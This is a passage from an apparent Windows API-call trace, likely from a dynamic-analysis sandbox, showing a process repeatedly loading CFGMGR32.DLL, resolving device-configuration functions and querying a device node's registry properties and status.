(hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.078] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.078] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.078] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.078] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.130] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.130] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.130] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.131] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.131] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.131] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.131] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.131] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.132] malloc (_Size=0x18) returned 0x20abc281ce0 [0196.132] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0196.132] malloc (_Size=0x54) returned 0x20abc2a71e0 [0196.132] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a71e0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a71e0, pulLength=0x2dc22fd3f8) returned 0x0 [0196.133] free (_Block=0x20abc2a71e0) [0196.133] malloc (_Size=0x48) returned 0x20abc27cb20 [0196.133] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x30ab6072, dwHighDateTime=0x1d9eb0c)) [0196.133] SetEvent (hEvent=0x248) returned 1 [0196.136] malloc (_Size=0x18) returned 0x20abc281ee0 [0196.136] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0196.136] free (_Block=0x20abc281ee0) [0196.136] malloc (_Size=0x18) returned 0x20abc281fa0 [0196.136] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0196.136] free (_Block=0x20abc281fa0) [0196.136] malloc (_Size=0x18) returned 0x20abc281d20 [0196.136] SafeArrayPutElement (psa=0x20abba7fe10, rgIndices=0x2dc22fd4c8, pv=0x20abba795b8) returned 0x0 [0196.136] free (_Block=0x20abc281d20) [0196.136] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d670 [0196.136] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0196.136] SafeArrayGetLBound (in: psa=0x20abba7fe10, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0196.136] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0196.136] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0196.136] SafeArrayGetDim (psa=0x20abba7fe10) returned 0x1 [0196.136] SafeArrayGetUBound (in: psa=0x20abba7fe10, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0196.136] SafeArrayGetElemsize (psa=0x20abba7fe10) returned 0x8 [0196.137] SafeArrayGetElement (in: psa=0x20abba7fe10, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0196.137] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0196.137] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0196.137] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93b00, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0196.138] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0196.138] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d670) returned 1 [0196.139] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.139] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.139] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.139] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.139] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.139] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.139] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.140] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.140] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.140] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.140] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.140] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.140] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.140] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.141] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.141] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.141] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.141] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.141] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.142] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.142] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.142] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.142] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.142] malloc (_Size=0x18) returned 0x20abc282060 [0196.142] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0196.143] malloc (_Size=0x48) returned 0x20abc27cb20 [0196.143] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x30adc5c8, dwHighDateTime=0x1d9eb0c)) [0196.143] SetEvent (hEvent=0x248) returned 1 [0196.146] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.146] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.146] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.146] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.147] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.147] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.147] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.147] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.147] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.147] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.147] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.148] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.148] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.148] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.148] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.148] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.148] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.148] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.149] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.149] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.149] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.149] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.149] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.149] malloc (_Size=0x18) returned 0x20abc281e80 [0196.150] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0196.150] malloc (_Size=0x48) returned 0x20abc27cb20 [0196.150] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x30adc5c8, dwHighDateTime=0x1d9eb0c)) [0196.150] SetEvent (hEvent=0x248) returned 1 [0196.154] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.154] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.154] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.154] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.155] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.155] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.155] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.155] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.156] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.156] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.156] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.156] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.156] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.157] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.157] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.157] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.157] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.157] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.157] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.158] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.158] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.158] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.158] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.158] malloc (_Size=0x18) returned 0x20abc281f20 [0196.158] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0196.159] malloc (_Size=0x48) returned 0x20abc27cb20 [0196.159] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x30b02788, dwHighDateTime=0x1d9eb0c)) [0196.159] SetEvent (hEvent=0x248) returned 1 [0196.162] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.162] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.162] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.162] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.162] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.162] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.163] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.163] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.163] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.163] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.163] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.163] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.163] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.163] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.164] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.164] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.164] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.164] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.164] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.164] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.164] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.165] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.165] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.165] malloc (_Size=0x18) returned 0x20abc281b80 [0196.165] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0196.165] malloc (_Size=0x48) returned 0x20abc27cb20 [0196.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x30b02788, dwHighDateTime=0x1d9eb0c)) [0196.166] SetEvent (hEvent=0x248) returned 1 [0196.169] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.169] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.170] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.170] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.170] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.170] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.170] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.170] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.170] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.171] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.171] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.171] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.171] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.171] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.171] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.171] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.172] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.172] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.172] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.172] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.172] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.172] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.331] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.331] malloc (_Size=0x18) returned 0x20abc281c80 [0196.331] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x16, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0196.334] malloc (_Size=0x48) returned 0x20abc27cb20 [0196.334] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x30ca603f, dwHighDateTime=0x1d9eb0c)) [0196.334] SetEvent (hEvent=0x248) returned 1 [0196.337] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.337] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.338] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.338] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.338] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.338] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.338] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.338] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.338] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.338] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.339] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.339] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.339] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.339] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.339] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.339] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.339] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0196.339] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0196.340] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0196.340] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0196.340] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0196.340] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0196.340] malloc (_Size=0x18) returned 0x20abc2819a0 [0196.340] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x16, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0196.340] malloc (_Size=0x48) returned 0x20abc27cb20 [0196.341] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x30ca603f, dwHighDateTime=0x1d9eb0c)) [0196.341] SetEvent (hEvent=0x248) returned 1 [0196.345] malloc (_Size=0xd8) returned 0x20abc2867b0 [0196.345] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0196.345] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0196.345] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0196.345] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0196.345] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0196.345] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0196.346] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0196.346] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0196.346] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0196.346] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0196.346] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0196.346] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0196.346] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0196.346] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0196.347] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0196.347] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0196.347] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 